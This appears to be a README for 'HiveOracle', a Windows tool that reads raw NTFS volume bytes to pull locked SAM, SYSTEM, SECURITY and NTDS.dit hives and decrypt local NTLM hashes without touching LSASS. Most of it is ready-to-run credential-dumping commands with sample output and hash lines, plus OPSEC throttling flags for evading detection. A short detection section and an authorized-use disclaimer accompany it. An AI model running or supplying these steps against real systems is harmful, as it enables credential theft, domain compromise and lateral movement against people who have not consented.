Raw NTFS volume oracle → locked-file content & offline credential material — without LSASS.
+--------------------------------------------------+
| HiveOracle 0.6.0 |
| Volume bytes in, locked hives out. No LSASS. |
| Researcher: @404death |
+--------------------------------------------------+
| Researcher | @404death |
| GitHub | sailay1996 |
| Version | 0.6.0 |
| Platform | Windows x64 (MSVC) |
| Privilege (default) | Admin / SYSTEM for volume open |
| Not | Mimikatz / LSASS dumper / DCSync |
HiveOracle turns a privileged raw volume read — CreateFile(\\.\C:) or any (offset, size) → bytes primitive — into:
- Arbitrary NTFS file content (including files locked by the system or blocked by DACL on the file object)
- Offline hive packs (SAM / SYSTEM / SECURITY, optional NTDS)
- Local account NTLM material from those hives (no process injection, no LSASS)
- Disk recon & forensics helpers (MFT,
$I30listing, free-spaceregfcarve, USN dump, etc.)
The parser never opens the target path (e.g. C:\Windows\System32\config\SAM). It walks $MFT / indexes and reassembles $DATA from volume clusters.
Default UX: one elevated process. No server/client required for normal dumps.
[admin/SYSTEM] HiveOracle.exe
│
├─ open \\.\C: (or PhysicalDrive + partition / raw image)
├─ NTFS parse in-process
└─ out\ SAM, SYSTEM, SECURITY, hashes.txt
Optional chain mode simulates “std-user parser + SYSTEM byte-reader” for research / vuln impact demos. See docs/USAGE.md.
| Mimikatz-class | HiveOracle | |
|---|---|---|
| Primary source | Process / LSASS memory | Disk volume bytes |
| Local hashes | Live or hive | Offline hives (after raw extract) |
| Tickets / SSP / tokens | Yes | No |
| Locked SAM while OS is up | Via other means | Yes (raw NTFS) |
| Detection surface | LSASS access | Volume / $MFT / large hive writes |
Use HiveOracle next to secretsdump / Mimikatz — not as a replacement for memory tooling.
- Windows x64
- Visual Studio 2022 (Community / Professional / Build Tools) with C++ desktop workload
- Administrator (or SYSTEM) for live volume access
cd HiveOracle
tools\build.batOutput: out\HiveOracle.exe (static /MT, links advapi32 + bcrypt).
If vcvars64.bat is not found, edit the path in tools\build.bat.
Run an elevated command prompt:
out\HiveOracle.exe grab local --volume \\.\C: --out out\grabExample console output (illustrative — hashes redacted by default):
+--------------------------------------------------+
| HiveOracle 0.6.0 |
| Volume bytes in, locked hives out. No LSASS. |
| Researcher: @404death |
+--------------------------------------------------+
[+] BPB: 512B/sec 8 sec/cl 4096B/cl MFT@LCN... MftRec=1024 IdxRec=4096
[+] $MFT runs: N fragments, ...
[*] grab local: pack hives + secrets (no LSASS)
[!] Online extract may be mid-write. Prefer VSS when available.
[*] pack: \Windows\System32\config\SAM
[+] Windows -> recno ...
[+] SAM -> recno ...
[+] Non-resident $DATA: real=131072 ... (streaming)
[+] magic: regf bytes=131072
[+] sha256: <hex>
[*] pack: \Windows\System32\config\SYSTEM
[+] magic: regf bytes=...
[+] sha256: <hex>
[*] pack: \Windows\System32\config\SECURITY
[+] magic: regf bytes=...
[+] sha256: <hex>
[+] wrote out\grab\manifest.json
[*] offline secrets dump...
[+] CurrentControlSet -> ControlSet001
[+] bootkey: (redacted — use --show-hashes to print)
[+] hbootkey: AES path OK
[*] users (hashes redacted on console; full in --out file):
Administrator:500:***:***:::
Guest:501:***:***:::
Alice:1001:***:***:::
[+] 3 user hash(es)
[+] wrote out\grab\hashes.txt (3 users) — contains full hashes; wipe when done
[+] grab local complete -> out\grab
files: SAM, SYSTEM, SECURITY, hashes.txt, manifest.json
next: HiveOracle.exe wipe --dir out\grab
Output directory:
out\grab\
SAM
SYSTEM
SECURITY
hashes.txt # pwdump-style lines + bootkey comment
manifest.json # sizes, magic, sha256
README_WIPE.txt
Example hashes.txt format (fake values for documentation only):
# HiveOracle secrets dump
# bootkey=0123456789abcdef0123456789abcdef
# wipe after use
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Alice:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Wipe when finished:
out\HiveOracle.exe wipe --dir out\grab[!] wiping (overwrite+delete): out\grab
[+] wiped out\grab\hashes.txt
[+] wiped out\grab\SAM
...
[+] wipe done (N file(s))
Never commit
out/, hive dumps, orhashes.txtto git.
Full reference with flags and more examples: docs/USAGE.md.
| Command | Needs elevation? | Purpose |
|---|---|---|
grab local |
Yes (volume) | One-shot hives + offline NTLM dump |
wipe --dir |
No | Overwrite + delete dump directory |
pack local |
Yes | SAM + SYSTEM + SECURITY only |
pack ntds |
Yes (DC) | ntds.dit + SYSTEM |
pack collect |
Yes | Best-effort DPAPI / browser DBs |
secrets dump |
No | Offline parse of already-extracted hives |
file |
Yes | Extract any NTFS path / ADS / recno |
ls |
Yes | Directory listing via $I30 |
mft find|list|path|deleted |
Yes | MFT recon |
info |
Yes | BPB / MFT summary |
disk list |
Yes | GPT/MBR partitions on disk or image |
bitmap stats |
Yes | Free cluster stats from $Bitmap |
carve regf |
Yes | Find regf magic (default: free clusters) |
usn dump |
Yes | $UsnJrnl:$J (size-capped) |
meta logfile|secure |
Yes | $LogFile / $Secure:$SDS |
hash --file |
No | SHA-256 of a file |
chain |
Mixed | Research pipe / primitive stand-in |
| Flag | Meaning |
|---|---|
--volume \\.\C: |
Live NTFS volume (typical) |
--device \\.\PhysicalDrive0 --part N |
Partition on physical disk |
--image disk.raw --part N |
Offline raw/dd image |
--out <path|dir> |
Output file or directory |
--show-hashes |
Print bootkey/NTLM on console (default: redacted) |
--quiet / -q |
Errors only |
--verbose / -v |
Extra logs |
--delay-ms N |
Sleep between volume read chunks (OPSEC) |
--max-chunk N |
Max bytes per ReadFile |
:: Single locked file
out\HiveOracle.exe file --volume \\.\C: --path \Windows\System32\config\SAM --out SAM.bin
:: ADS
out\HiveOracle.exe file --volume \\.\C: --path \tmp\f.txt --stream Zone.Identifier --out zone.txt
:: Directory index
out\HiveOracle.exe ls --volume \\.\C: --path \Windows\System32\config
:: Offline secrets only (after pack)
out\HiveOracle.exe secrets dump --system SYSTEM --sam SAM --out hashes.txt
:: Physical disk → NTFS partition
out\HiveOracle.exe disk list --device \\.\PhysicalDrive0
out\HiveOracle.exe info --device \\.\PhysicalDrive0 --part 2
:: VSS (list shadows first: vssadmin list shadows)
out\HiveOracle.exe grab local --volume \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 --out out\vssExample ls output:
recno,type,name,size
2329700,file,SAM,131072
2329725,file,SYSTEM,25952256
2329703,file,SECURITY,65536
...
Example disk list output:
index,start_lba,size_lba,type,ntfs,gpt
0,2048,532480,EFI-System,0,1
2,567296,655915663,BasicData/NTFS,1,1
...
CLI → ops (grab/pack/file/mft/…) → NTFS engine
↑
read_fn_t(offset, size, buf, ctx)
↑
volume_file | pipe_client | your primitive_stub
- Engine (
src/engine): BPB,$MFTruns,$ATTRIBUTE_LIST,$I30, resident/non-resident$DATA, ADS, stream extract - Backends (
src/backends): volume / partition / image, named-pipe chain, OPSEC chunk/delay - Offline (
src/offline): REGF walk, bootkey, SAM AES/RC4 hash decrypt
Details: docs/ARCHITECTURE.md.
| Document | Contents |
|---|---|
| docs/USAGE.md | Full CLI reference, flags, examples, sample outputs |
| docs/ARCHITECTURE.md | Modules, backends, data flow |
| docs/THREAT_MODEL.md | Assets, abuse model, OPSEC, data handling |
| docs/DETECTION.md | Defensive / purple-team notes |
| tools/compare_secretsdump.md | Optional Impacket parity check |
HiveOracle/
README.md # this file
STATUS.md
docs/ # detailed documentation
include/hiveoracle/ # public headers
src/
cli/main.cpp # CLI
engine/ntfs_parser.cpp # NTFS engine
backends/ # volume, pipe, OPSEC
offline/secrets.cpp # hive → hashes
tools/
build.bat
compare_secretsdump.md
tests/ # test policy / future fixtures
out/ # local builds & dumps (gitignored)
Operators and blue teams should expect different IOCs than LSASS access:
- Open of
\Device\HarddiskVolume*/\\.\C:/PhysicalDriveN - Large sequential reads of
$MFTregions - Sudden creation of
SAM+SYSTEM+SECURITY+hashes.txt - Optional named pipe
\\.\pipe\HiveOracle_read(chain mode only)
More detail: docs/THREAT_MODEL.md.
- Online hives may be mid-transaction (prefer VSS for consistency).
- Compressed (WOF / NTFS unit) and EFS
$DATAare not fully supported. - USN
$Jis size-capped by default (journal can be tens of GB). pack ntdsonly on domain controllers (or images that containntds.dit).- Offline SECURITY → LSA secrets is not implemented (use Impacket if needed).
- Hash crypto aims at modern Windows AES path; always validate against secretsdump on lab fixtures.
Authorized security research, penetration testing, and defensive validation only.
Unauthorized access to systems or credential material is illegal. Authors are not responsible for misuse.
Treat all outputs as highly sensitive. Wipe after use:
out\HiveOracle.exe wipe --dir out\grabBuilt for authorized red/purple team research by @404death / github.com/sailay1996. Offline hive algorithms follow well-known public designs (e.g. creddump / Impacket secretsdump class) — implement responsibly.
Use restricted to lawful, authorized testing. Add a formal LICENSE file before wide public redistribution if required by your org.